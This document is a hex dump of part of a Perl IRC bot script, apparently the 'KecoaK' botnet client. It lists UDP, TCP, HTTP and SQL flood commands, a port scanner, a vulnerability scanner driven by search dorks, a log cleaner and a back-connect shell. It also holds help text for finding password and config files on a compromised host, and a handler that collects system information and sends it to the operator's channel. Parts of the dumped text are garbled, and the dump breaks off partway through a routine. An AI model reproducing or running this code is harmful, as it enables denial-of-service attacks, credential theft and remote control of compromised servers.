9120: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
9152: 3A033721626F742003313440033368747470666C6F6F64203C686F73743E203C          :7!bot 14@3httpflood <host> <
9184: 74696D653E22293B200D0A20202020202020202020202073656E647261772824          time>"); sendraw($
9216: 4952435F6375725F736F636B65742C2022505249564D534720247072696E746C          IRC_cur_socket, "PRIVMSG $printl
9248: 203A033721626F742003313440033373716C666C6F6F64203C686F73743E203C          :7!bot 14@3sqlflood <host> <
9280: 74696D653E22293B0D0A20202020202020202020202073656E64726177282449          time>"); sendraw($I
9312: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
9344: 3A03342C315B02033134400331332D2D2D2D2D5B4952432042617365645D2D2D          :4,1[14@13-----[IRC Based]--
9376: 2D2D2D033134400334025D2022293B0D0A20202020202020202020202073656E          ---14@4] "); sen
9408: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
9440: 7072696E746C203A033721626F74200331344003336B696C6C6D6522293B2020          printl :7!bot 14@3killme");
9472: 200D0A20202020202020202020202073656E6472617728244952435F6375725F          sendraw($IRC_cur_
9504: 736F636B65742C2022505249564D534720247072696E746C203A033721626F74          socket, "PRIVMSG $printl :7!bot
9536: 200331344003336A6F696E20236368616E6E656C22293B2020200D0A20202020          14@3join #channel");
9568: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
9600: 2022505249564D534720247072696E746C203A033721626F7420033134400333          "PRIVMSG $printl :7!bot 14@3
9632: 7061727420236368616E6E656C22293B0D0A2020202020202020202020207365          part #channel"); se
9664: 6E6472617728244952435F6375725F736F636B65742C2022505249564D534720          ndraw($IRC_cur_socket, "PRIVMSG
9696: 247072696E746C203A033721626F7420033134400333726573657422293B0D0A          $printl :7!bot 14@3reset");
9728: 20202020202020202020202073656E6472617728244952435F6375725F736F63          sendraw($IRC_cur_soc
9760: 6B65742C2022505249564D534720247072696E746C203A033721626F74200331          ket, "PRIVMSG $printl :7!bot 1
9792: 34400333766F696365203C77686F3E2022293B0D0A2020202020202020202020          4@3voice <who> ");
9824: 2073656E6472617728244952435F6375725F736F636B65742C2022505249564D          sendraw($IRC_cur_socket, "PRIVM
9856: 534720247072696E746C203A033721626F74200331344003336F776E6572203C          SG $printl :7!bot 14@3owner <
9888: 77686F3E2022293B0D0A20202020202020202020202073656E64726177282449          who> "); sendraw($I
9920: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
9952: 3A033721626F742003313440033364656F776E6572203C77686F3E2022293B0D          :7!bot 14@3deowner <who> ");
9984: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
10016: 636B65742C2022505249564D534720247072696E746C203A033721626F742003          cket, "PRIVMSG $printl :7!bot 
10048: 31344003336465766F696365203C77686F3E2022293B0D0A2020202020202020          14@3devoice <who> ");
10080: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
10112: 49564D534720247072696E746C203A033721626F742003313440033368616C66          IVMSG $printl :7!bot 14@3half
10144: 6F70203C77686F3E2022293B0D0A20202020202020202020202073656E647261          op <who> "); sendra
10176: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
10208: 6E746C203A033721626F7420033134400333646568616C666F70203C77686F3E          ntl :7!bot 14@3dehalfop <who>
10240: 2022293B0D0A20202020202020202020202073656E6472617728244952435F63          "); sendraw($IRC_c
10272: 75725F736F636B65742C2022505249564D534720247072696E746C203A033721          ur_socket, "PRIVMSG $printl :7!
10304: 626F74200331344003336F70203C77686F3E2022293B0D0A2020202020202020          bot 14@3op <who> ");
10336: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
10368: 49564D534720247072696E746C203A033721626F742003313440033364656F70          IVMSG $printl :7!bot 14@3deop
10400: 203C77686F3E2022293B0D0A20202020202020202020202073656E6472617728          <who> "); sendraw(
10432: 244952435F6375725F736F636B65742C2022505249564D534720247072696E74          $IRC_cur_socket, "PRIVMSG $print
10464: 6C203A03342C315B02033134400331332D2D2D2D2D5B466C6F6F64696E672042          l :4,1[14@13-----[Flooding B
10496: 617365645D2D2D2D2D2D033134400334025D2022293B0D0A2020202020202020          ased]-----14@4] ");
10528: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
10560: 49564D534720247072696E746C203A033721626F74200331344003336D736766          IVMSG $printl :7!bot 14@3msgf
10592: 6C6F6F64203C77686F3E2022293B0D0A20202020202020202020202073656E64          lood <who> "); send
10624: 72617728244952435F6375725F736F636B65742C2022505249564D5347202470          raw($IRC_cur_socket, "PRIVMSG $p
10656: 72696E746C203A033721626F7420033134400333646363666C6F6F64203C7768          rintl :7!bot 14@3dccflood <wh
10688: 6F3E2022293B0D0A20202020202020202020202073656E647261772824495243          o> "); sendraw($IRC
10720: 5F6375725F736F636B65742C2022505249564D534720247072696E746C203A03          _cur_socket, "PRIVMSG $printl :
10752: 3721626F742003313440033363746370666C6F6F64203C77686F3E2022293B0D          7!bot 14@3ctcpflood <who> ");
10784: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
10816: 636B65742C2022505249564D534720247072696E746C203A033721626F742003          cket, "PRIVMSG $printl :7!bot 
10848: 31344003336E6F74696365666C6F6F64203C77686F3E2022293B0D0A20202020          14@3noticeflood <who> ");
10880: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
10912: 2022505249564D534720247072696E746C203A033721626F7420033134400333          "PRIVMSG $printl :7!bot 14@3
10944: 6368616E6E656C666C6F6F6422293B0D0A20202020202020202020202073656E          channelflood"); sen
10976: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
11008: 7072696E746C203A033721626F74200331344003336D617869666C6F6F64203C          printl :7!bot 14@3maxiflood <
11040: 77686F3E2022293B0D0A7D0D0A0D0A202020202020202020696620282466756E          who> "); } if ($fun
11072: 63617267203D7E202F5E6C696E757868656C702F29207B0D0A20202020202020          carg =~ /^linuxhelp/) {
11104: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
11136: 5249564D534720247072696E746C203A03342C315B02033134400331332D2D2D          RIVMSG $printl :4,1[14@13---
11168: 2D2D5B4C696E75782048656C705D2D2D2D2D2D033134400334025D2022293B0D          --[Linux Help]-----14@4] ");
11200: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
11232: 636B65742C2022505249564D534720247072696E746C203A033721626F742003          cket, "PRIVMSG $printl :7!bot 
11264: 31344020033344697220776865726520796F7520617265203A2070776422293B          14@ 3Dir where you are : pwd");
11296: 0D0A20202020202020202020202073656E6472617728244952435F6375725F73          sendraw($IRC_cur_s
11328: 6F636B65742C2022505249564D534720247072696E746C203A033721626F7420          ocket, "PRIVMSG $printl :7!bot
11360: 0331344020033353746172742061205065726C2066696C65203A207065726C20          14@ 3Start a Perl file : perl
11392: 66696C652E706C22293B0D0A20202020202020202020202073656E6472617728          file.pl"); sendraw(
11424: 244952435F6375725F736F636B65742C2022505249564D534720247072696E74          $IRC_cur_socket, "PRIVMSG $print
11456: 6C203A033721626F742003313440200333476F206261636B2066726F6D206469          l :7!bot 14@ 3Go back from di
11488: 72203A206364202E2E22293B0D0A20202020202020202020202073656E647261          r : cd .."); sendra
11520: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
11552: 6E746C203A033721626F742003313440200333466F72636520746F2052656D6F          ntl :7!bot 14@ 3Force to Remo
11584: 766520612066696C652F646972203A20726D202D72662066696C652F6469723B          ve a file/dir : rm -rf file/dir;
11616: 6C73202D6C6122293B0D0A20202020202020202020202073656E647261772824          ls -la"); sendraw($
11648: 4952435F6375725F736F636B65742C2022505249564D534720247072696E746C          IRC_cur_socket, "PRIVMSG $printl
11680: 203A033721626F74200331344020033353686F7720616C6C2066696C65732F64          :7!bot 14@ 3Show all files/d
11712: 69722077697468207065726D697373696F6E73203A206C73202D6C696122293B          ir with permissions : ls -lia");
11744: 0D0A20202020202020202020202073656E6472617728244952435F6375725F73          sendraw($IRC_cur_s
11776: 6F636B65742C2022505249564D534720247072696E746C203A033721626F7420          ocket, "PRIVMSG $printl :7!bot
11808: 0331344020033346696E6420636F6E6669672E696E632E7068702066696C6573          14@ 3Find config.inc.php files
11840: 203A2066696E64202F202D747970652066202D6E616D6520636F6E6669672E69          : find / -type f -name config.i
11872: 6E632E70687022293B0D0A20202020202020202020202073656E647261772824          nc.php"); sendraw($
11904: 4952435F6375725F736F636B65742C2022505249564D534720247072696E746C          IRC_cur_socket, "PRIVMSG $printl
11936: 203A033721626F74200331344020033346696E6420616C6C207772697461626C          :7!bot 14@ 3Find all writabl
11968: 6520666F6C6465727320616E642066696C6573203A2066696E64202F202D7065          e folders and files : find / -pe
12000: 726D202D32202D6C7322293B0D0A20202020202020202020202073656E647261          rm -2 -ls"); sendra
12032: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
12064: 6E746C203A033721626F74200331344020033346696E6420616C6C202E687470          ntl :7!bot 14@ 3Find all .htp
12096: 61737377642066696C6573203A2066696E64202F202D747970652066202D6E61          asswd files : find / -type f -na
12128: 6D65202E687470617373776422293B0D0A20202020202020202020202073656E          me .htpasswd"); sen
12160: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
12192: 7072696E746C203A033721626F74200331344020033346696E6420616C6C2073          printl :7!bot 14@ 3Find all s
12224: 6572766963652E7077642066696C6573203A2066696E64202F202D7479706520          ervice.pwd files : find / -type
12256: 66202D6E616D6520736572766963652E70776422293B0D0A2020202020202020          f -name service.pwd");
12288: 207D0D0A2020202020202020200D0A202020202020202020696620282466756E          } if ($fun
12320: 63617267203D7E202F5E68656C702F29207B0D0A202020202020202020202020          carg =~ /^help/) {
12352: 2073656E6472617728244952435F6375725F736F636B65742C2022505249564D          sendraw($IRC_cur_socket, "PRIVM
12384: 534720247072696E746C203A03342C315B02033134400331332D2D2D2D2D5B48          SG $printl :4,1[14@13-----[H
12416: 656C7020436F6D6D616E64735D2D2D2D2D2D033134400334025D2022293B0D0A          elp Commands]-----14@4] ");
12448: 20202020202020202020202073656E6472617728244952435F6375725F736F63          sendraw($IRC_cur_soc
12480: 6B65742C2022505249564D534720247072696E746C203A033721626F74200331          ket, "PRIVMSG $printl :7!bot 1
12512: 34400333666C6F6F64696E67202D20466F722049524320466C6F6F64696E6720          4@3flooding - For IRC Flooding
12544: 48656C7022293B0D0A20202020202020202020202073656E6472617728244952          Help"); sendraw($IR
12576: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
12608: 033721626F7420033134400333697263202D20466F722049524320426F742043          7!bot 14@3irc - For IRC Bot C
12640: 6F6D6D616E642048656C702022293B0D0A20202020202020202020202073656E          ommand Help "); sen
12672: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
12704: 7072696E746C203A033721626F742003313440033364646F73202D20466F7220          printl :7!bot 14@3ddos - For
12736: 44446F7320436F6D6D616E642048656C7022293B0D0A20202020202020202020          DDos Command Help");
12768: 202073656E6472617728244952435F6375725F736F636B65742C202250524956          sendraw($IRC_cur_socket, "PRIV
12800: 4D534720247072696E746C203A033721626F74200331344003336E657773202D          MSG $printl :7!bot 14@3news -
12832: 20466F72205365637572697479204E65777320436F6D6D616E642048656C7020          For Security News Command Help
12864: 22293B0D0A20202020202020202020202073656E6472617728244952435F6375          "); sendraw($IRC_cu
12896: 725F736F636B65742C2022505249564D534720247072696E746C203A03372162          r_socket, "PRIVMSG $printl :7!b
12928: 6F74200331344003336861636B696E67202D20466F72204861636B696E672043          ot 14@3hacking - For Hacking C
12960: 6F6D6D616E642048656C7022293B0D0A20202020202020202020202073656E64          ommand Help"); send
12992: 72617728244952435F6375725F736F636B65742C2022505249564D5347202470          raw($IRC_cur_socket, "PRIVMSG $p
13024: 72696E746C203A033721626F74200331344003336C696E757868656C70202D20          rintl :7!bot 14@3linuxhelp -
13056: 466F72204C696E75782048656C7022293B0D0A2020202020202020207D0D0A0D          For Linux Help"); }
13088: 0A202020202020202020696620282466756E63617267203D7E202F5E666C6F6F          if ($funcarg =~ /^floo
13120: 64696E672F29207B0D0A20202020202020202020202073656E64726177282449          ding/) { sendraw($I
13152: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
13184: 3A03342C315B02033134400331332D2D2D2D2D5B466C6F6F64696E6720426173          :4,1[14@13-----[Flooding Bas
13216: 65645D2D2D2D2D2D033134400334025D2022293B0D0A20202020202020202020          ed]-----14@4] ");
13248: 202073656E6472617728244952435F6375725F736F636B65742C202250524956          sendraw($IRC_cur_socket, "PRIV
13280: 4D534720247072696E746C203A033721626F74200331344003336D7367666C6F          MSG $printl :7!bot 14@3msgflo
13312: 6F64203C77686F3E2022293B0D0A20202020202020202020202073656E647261          od <who> "); sendra
13344: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
13376: 6E746C203A033721626F7420033134400333646363666C6F6F64203C77686F3E          ntl :7!bot 14@3dccflood <who>
13408: 2022293B0D0A20202020202020202020202073656E6472617728244952435F63          "); sendraw($IRC_c
13440: 75725F736F636B65742C2022505249564D534720247072696E746C203A033721          ur_socket, "PRIVMSG $printl :7!
13472: 626F742003313440033363746370666C6F6F64203C77686F3E2022293B0D0A20          bot 14@3ctcpflood <who> ");
13504: 202020202020202020202073656E6472617728244952435F6375725F736F636B          sendraw($IRC_cur_sock
13536: 65742C2022505249564D534720247072696E746C203A033721626F7420033134          et, "PRIVMSG $printl :7!bot 14
13568: 4003336E6F74696365666C6F6F64203C77686F3E2022293B0D0A202020202020          @3noticeflood <who> ");
13600: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
13632: 505249564D534720247072696E746C203A033721626F74200331344003336368          PRIVMSG $printl :7!bot 14@3ch
13664: 616E6E656C666C6F6F6422293B0D0A20202020202020202020202073656E6472          annelflood"); sendr
13696: 617728244952435F6375725F736F636B65742C2022505249564D534720247072          aw($IRC_cur_socket, "PRIVMSG $pr
13728: 696E746C203A033721626F74200331344003336D617869666C6F6F64203C7768          intl :7!bot 14@3maxiflood <wh
13760: 6F3E2022293B0D0A2020202020202020207D0D0A2020202020202020200D0A20          o> "); }
13792: 2020202020202020696620282466756E63617267203D7E202F5E6972632F2920          if ($funcarg =~ /^irc/)
13824: 7B0D0A20202020202020202020202073656E6472617728244952435F6375725F          { sendraw($IRC_cur_
13856: 736F636B65742C2022505249564D534720247072696E746C203A0331322C315B          socket, "PRIVMSG $printl :12,1[
13888: 02033134400331332D2D2D2D2D5B49524320436F6D6D616E64735D2D2D2D2D2D          14@13-----[IRC Commands]-----
13920: 03313440033132025D2022293B0D0A20202020202020202020202073656E6472          14@12] "); sendr
13952: 617728244952435F6375725F736F636B65742C2022505249564D534720247072          aw($IRC_cur_socket, "PRIVMSG $pr
13984: 696E746C203A033721626F7420033134400333766F696365203C77686F3E2022          intl :7!bot 14@3voice <who> "
14016: 293B0D0A20202020202020202020202073656E6472617728244952435F637572          ); sendraw($IRC_cur
14048: 5F736F636B65742C2022505249564D534720247072696E746C203A033721626F          _socket, "PRIVMSG $printl :7!bo
14080: 74200331344003336F776E6572203C77686F3E2022293B0D0A20202020202020          t 14@3owner <who> ");
14112: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
14144: 5249564D534720247072696E746C203A033721626F742003313440033364656F          RIVMSG $printl :7!bot 14@3deo
14176: 776E6572203C77686F3E2022293B0D0A20202020202020202020202073656E64          wner <who> "); send
14208: 72617728244952435F6375725F736F636B65742C2022505249564D5347202470          raw($IRC_cur_socket, "PRIVMSG $p
14240: 72696E746C203A033721626F74200331344003336465766F696365203C77686F          rintl :7!bot 14@3devoice <who
14272: 3E2022293B0D0A20202020202020202020202073656E6472617728244952435F          > "); sendraw($IRC_
14304: 6375725F736F636B65742C2022505249564D534720247072696E746C203A0337          cur_socket, "PRIVMSG $printl :7
14336: 21626F742003313440033368616C666F70203C77686F3E2022293B0D0A202020          !bot 14@3halfop <who> ");
14368: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
14400: 2C2022505249564D534720247072696E746C203A033721626F74200331344003          , "PRIVMSG $printl :7!bot 14@
14432: 33646568616C666F70203C77686F3E2022293B0D0A2020202020202020202020          3dehalfop <who> ");
14464: 2073656E6472617728244952435F6375725F736F636B65742C2022505249564D          sendraw($IRC_cur_socket, "PRIVM
14496: 534720247072696E746C203A033721626F74200331344003336F70203C77686F          SG $printl :7!bot 14@3op <who
14528: 3E2022293B0D0A20202020202020202020202073656E6472617728244952435F          > "); sendraw($IRC_
14560: 6375725F736F636B65742C2022505249564D534720247072696E746C203A0337          cur_socket, "PRIVMSG $printl :7
14592: 21626F742003313440033364656F70203C77686F3E2022293B0D0A2020202020          !bot 14@3deop <who> ");
14624: 202020207D2020200D0A2020202020202020200D0A2020202020202020206966          } if
14656: 20282466756E63617267203D7E202F5E64646F732F29207B0D0A202020202020          ($funcarg =~ /^ddos/) {
14688: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
14720: 505249564D534720247072696E746C203A0331322C315B02033134400331332D          PRIVMSG $printl :12,1[14@13-
14752: 2D2D2D2D5B44646F7320436F6D6D616E64735D2D2D2D2D2D0331344003313202          ----[Ddos Commands]-----14@12
14784: 5D2022293B0D0A20202020202020202020202073656E6472617728244952435F          ] "); sendraw($IRC_
14816: 6375725F736F636B65742C2022505249564D534720247072696E746C203A0337          cur_socket, "PRIVMSG $printl :7
14848: 21626F7420033134400333756470666C6F6F64203C686F73743E203C7061636B          !bot 14@3udpflood <host> <pack
14880: 65742073697A653E203C74696D653E22293B0D0A202020202020202020202020          et size> <time>");
14912: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
14944: 4720247072696E746C203A033721626F7420033134400333746370666C6F6F64          G $printl :7!bot 14@3tcpflood
14976: 203C686F73743E203C706F72743E203C7061636B65742073697A653E203C7469          <host> <port> <packet size> <ti
15008: 6D653E22293B0D0A20202020202020202020202073656E647261772824495243          me>"); sendraw($IRC
15040: 5F6375725F736F636B65742C2022505249564D534720247072696E746C203A03          _cur_socket, "PRIVMSG $printl :
15072: 3721626F742003313440033368747470666C6F6F64203C686F73743E203C7469          7!bot 14@3httpflood <host> <ti
15104: 6D653E22293B200D0A20202020202020202020202073656E6472617728244952          me>"); sendraw($IR
15136: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
15168: 033721626F742003313440033373716C666C6F6F64203C686F73743E203C7469          7!bot 14@3sqlflood <host> <ti
15200: 6D653E22293B0D0A2020202020202020207D2020200D0A0D0A20202020202020          me>"); }
15232: 2020696620282466756E63617267203D7E202F5E6E6577732F29207B0D0A2020          if ($funcarg =~ /^news/) {
15264: 2020202020202020202073656E6472617728244952435F6375725F736F636B65          sendraw($IRC_cur_socke
15296: 742C2022505249564D534720247072696E746C203A0331322C315B0203313440          t, "PRIVMSG $printl :12,1[14@
15328: 0331332D2D2D2D2D5B4E65777320436F6D6D616E64735D2D2D2D2D2D03313440          13-----[News Commands]-----14@
15360: 033132025D2022293B0D0A20202020202020202020202073656E647261772824          12] "); sendraw($
15392: 4952435F6375725F736F636B65742C2022505249564D534720247072696E746C          IRC_cur_socket, "PRIVMSG $printl
15424: 203A033721626F74200331344003337061636B657473746F726D22293B0D0A20          :7!bot 14@3packetstorm");
15456: 202020202020202020202073656E6472617728244952435F6375725F736F636B          sendraw($IRC_cur_sock
15488: 65742C2022505249564D534720247072696E746C203A033721626F7420033134          et, "PRIVMSG $printl :7!bot 14
15520: 4003336D696C7730726D22293B0D0A2020202020202020207D2020200D0A0D0A          @3milw rm"); }
15552: 202020202020202020696620282466756E63617267203D7E202F5E6861636B69          if ($funcarg =~ /^hacki
15584: 6E672F29207B0D0A20202020202020202020202073656E647261772824495243          ng/) { sendraw($IRC
15616: 5F6375725F736F636B65742C2022505249564D534720247072696E746C203A03          _cur_socket, "PRIVMSG $printl :
15648: 31322C315B02033134400331332D2D2D2D2D5B4861636B696E6720436F6D6D61          12,1[14@13-----[Hacking Comma
15680: 6E64735D2D2D2D2D2D03313440033132025D2022293B0D0A2020202020202020          nds]-----14@12] ");
15712: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
15744: 49564D534720247072696E746C203A033721626F74200331344003336D756C74          IVMSG $printl :7!bot 14@3mult
15776: 697363616E203C76756C6E3E203C646F726B3E22293B0D0A2020202020202020          iscan <vuln> <dork>");
15808: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
15840: 49564D534720247072696E746C203A033721626F7420033134400333736F636B          IVMSG $printl :7!bot 14@3sock
15872: 733522293B0D0A20202020202020202020202073656E6472617728244952435F          s5"); sendraw($IRC_
15904: 6375725F736F636B65742C2022505249564D534720247072696E746C203A0337          cur_socket, "PRIVMSG $printl :7
15936: 21626F7420033134400333706F72747363616E203C69703E22293B0D0A202020          !bot 14@3portscan <ip>");
15968: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
16000: 2C2022505249564D534720247072696E746C203A033721626F74200331344003          , "PRIVMSG $printl :7!bot 14@
16032: 336C6F67636C65616E657222293B0D0A20202020202020202020202073656E64          3logcleaner"); send
16064: 72617728244952435F6375725F736F636B65742C2022505249564D5347202470          raw($IRC_cur_socket, "PRIVMSG $p
16096: 72696E746C203A033721626F742003313440033373656E646D61696C203C7375          rintl :7!bot 14@3sendmail <su
16128: 626A6563743E203C73656E6465723E203C726563697069656E743E203C6D6573          bject> <sender> <recipient> <mes
16160: 736167653E22293B0D0A20202020202020202020202073656E64726177282449          sage>"); sendraw($I
16192: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
16224: 3A033721626F742003313440033373797374656D22293B0D0A20202020202020          :7!bot 14@3system");
16256: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
16288: 5249564D534720247072696E746C203A033721626F7420033134400333636C65          RIVMSG $printl :7!bot 14@3cle
16320: 6172746D7022293B0D0A20202020202020202020202073656E64726177282449          artmp"); sendraw($I
16352: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
16384: 3A033721626F7420033134400333726F6F7461626C6522293B0D0A2020202020          :7!bot 14@3rootable");
16416: 2020202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
16448: 22505249564D534720247072696E746C203A033721626F74200331344003336E          "PRIVMSG $printl :7!bot 14@3n
16480: 6D6170203C69703E203C626567696E706F72743E203C656E64706F72743E2229          map <ip> <beginport> <endport>")
16512: 3B0D0A20202020202020202020202073656E6472617728244952435F6375725F          ; sendraw($IRC_cur_
16544: 736F636B65742C2022505249564D534720247072696E746C203A033721626F74          socket, "PRIVMSG $printl :7!bot
16576: 200331344003336261636B203C69703E3C706F72743E22293B2020200D0A2020          14@3back <ip><port>");
16608: 2020202020202020202073656E6472617728244952435F6375725F736F636B65          sendraw($IRC_cur_socke
16640: 742C2022505249564D534720247072696E746C203A033721626F742003313440          t, "PRIVMSG $printl :7!bot 14@
16672: 03336C696E757868656C7022293B0D0A20202020202020202020202073656E64          3linuxhelp"); send
16704: 72617728244952435F6375725F736F636B65742C2022505249564D5347202470          raw($IRC_cur_socket, "PRIVMSG $p
16736: 72696E746C203A033721626F7420033134400333636420746D703A2E207C2066          rintl :7!bot 14@3cd tmp:. | f
16768: 6F72206578616D706C6522293B0D0A2020202020202020207D20202020202020          or example"); }
16800: 20202020202020202020200D0A23232323232323232323232323232323232323          ###################
16832: 2323230D0A23202020456E64206F66202048656C702020202020230D0A232323          ### # End of Help # ###
16864: 232323232323232323232323232323232323230D0A2323232323232323232323          ################### ###########
16896: 23232323232323232323230D0A232020202020436F6D6D616E64732020202020          ########### # Commands
16928: 2020230D0A232323232323232323232323232323232323232323230D0A202020          # ######################
16960: 202020202020696620282466756E63617267203D7E202F5E73797374656D2F29          if ($funcarg =~ /^system/)
16992: 207B0D0A20202020202020202020202024756E616D653D60756E616D65202D61          { $uname=`uname -a
17024: 603B0D0A20202020202020202020202024757074696D653D60757074696D6560          `; $uptime=`uptime`
17056: 3B0D0A202020202020202020202020246F776E643D60707764603B0D0A202020          ; $ownd=`pwd`;
17088: 2020202020202020202464697374726F3D60636174202F6574632F6973737565          $distro=`cat /etc/issue
17120: 603B0D0A2020202020202020202020202469643D606964603B0D0A2020202020          `; $id=`id`;
17152: 2020202020202024756E3D60756E616D65202D73726F603B0D0A202020202020          $un=`uname -sro`;
17184: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
17216: 505249564D534720247072696E746C203A03347C0331322E3A03345379737465          PRIVMSG $printl :4|12.:4Syste
17248: 6D20496E666F0331323A2E03347C20033132496E666F20424F54203A20372053          m Info12:.4| 12Info BOT : 7 S
17280: 65727669646F72203A486964656E203A203636363722293B0D0A202020202020          ervidor :Hiden : 6667");
17312: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
17344: 505249564D534720247072696E746C203A03347C0331322E3A03345379737465          PRIVMSG $printl :4|12.:4Syste
17376: 6D20496E666F0331323A2E03347C20033132556E616D65202D6120202020203A          m Info12:.4| 12Uname -a :
17408: 2003372024756E616D6522293B0D0A20202020202020202020202073656E6472          7 $uname"); sendr
17440: 617728244952435F6375725F736F636B65742C2022505249564D534720247072          aw($IRC_cur_socket, "PRIVMSG $pr
17472: 696E746C203A03347C0331322E3A033453797374656D20496E666F0331323A2E          intl :4|12.:4System Info12:.
17504: 03347C20033132557074696D65202020202020203A2003372024757074696D65          4| 12Uptime : 7 $uptime
17536: 22293B0D0A20202020202020202020202073656E6472617728244952435F6375          "); sendraw($IRC_cu
17568: 725F736F636B65742C2022505249564D534720247072696E746C203A03347C03          r_socket, "PRIVMSG $printl :4|
17600: 31322E3A033453797374656D20496E666F0331323A2E03347C200331324F776E          12.:4System Info12:.4| 12Own
17632: 2050726F7373657320203A200337202470726F636573736F22293B0D0A202020          Prosses : 7 $processo");
17664: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
17696: 2C2022505249564D534720247072696E746C203A03347C0331322E3A03345379          , "PRIVMSG $printl :4|12.:4Sy
17728: 7374656D20496E666F0331323A2E03347C200331324944202020202020202020          stem Info12:.4| 12ID
17760: 20203A2003372024696422293B0D0A20202020202020202020202073656E6472          : 7 $id"); sendr
17792: 617728244952435F6375725F736F636B65742C2022505249564D534720247072          aw($IRC_cur_socket, "PRIVMSG $pr
17824: 696E746C203A03347C0331322E3A033453797374656D20496E666F0331323A2E          intl :4|12.:4System Info12:.
17856: 03347C200331324F776E204469722020202020203A20033720246F776E642229          4| 12Own Dir : 7 $ownd")
17888: 3B0D0A20202020202020202020202073656E6472617728244952435F6375725F          ; sendraw($IRC_cur_
17920: 736F636B65742C2022505249564D534720247072696E746C203A03347C033132          socket, "PRIVMSG $printl :4|12
17952: 2E3A033453797374656D20496E666F0331323A2E03347C200331324F53202020          .:4System Info12:.4| 12OS
17984: 20202020202020203A200337202464697374726F22293B0D0A20202020202020          : 7 $distro");
18016: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
18048: 5249564D534720247072696E746C203A03347C0331322E3A033453797374656D          RIVMSG $printl :4|12.:4System
18080: 20496E666F0331323A2E03347C200331324F776E657220202020202020203A20          Info12:.4| 12Owner :
18112: 0337204B65636F614B22293B0D0A20202020202020202020202073656E647261          7 KecoaK"); sendra
18144: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
18176: 6E746C203A03347C0331322E3A033453797374656D20496E666F0331323A2E03          ntl :4|12.:4System Info12:.
18208: 347C200331324368616E6E656C2020202020203A20033720234B65636F614B22          4| 12Channel : 7 #KecoaK"
18240: 293B0D0A2020202020202020207D0D0A0D0A2020202020202020206966202824          ); } if ($
18272: 66756E63617267203D7E202F5E6D696C7730726D2F29207B0D0A202020202020          funcarg =~ /^milw rm/) {
18304: 2020202020206D7920406C74743D28293B0D0A2020202020202020202020206D          my @ltt=(); m
18336: 7920406275673D28293B0D0A2020202020202020202020206D792024783B0D0A          y @bug=(); my $x;
18368: 2020202020202020202020206D792024706167653D22223B0D0A202020202020          my $page="";
18400: 2020202020206D792024736F636B65203D20494F3A3A536F636B65743A3A494E          my $socke = IO::Socket::IN
18432: 45542D3E6E65772850656572416464723D3E226D696C7730726D2E636F6D222C          ET->new(PeerAddr=>"milw rm.com",
18464: 50656572506F72743D3E223830222C50726F746F3D3E227463702229206F7220          PeerPort=>"8 ",Proto=>"tcp") or
18496: 72657475726E3B0D0A2020202020202020202020207072696E742024736F636B          return; print $sock
18528: 65202247455420687474703A2F2F6D696C7730726D2E636F6D2F7273732E7068          e "GET http://milw rm.com/rss.ph
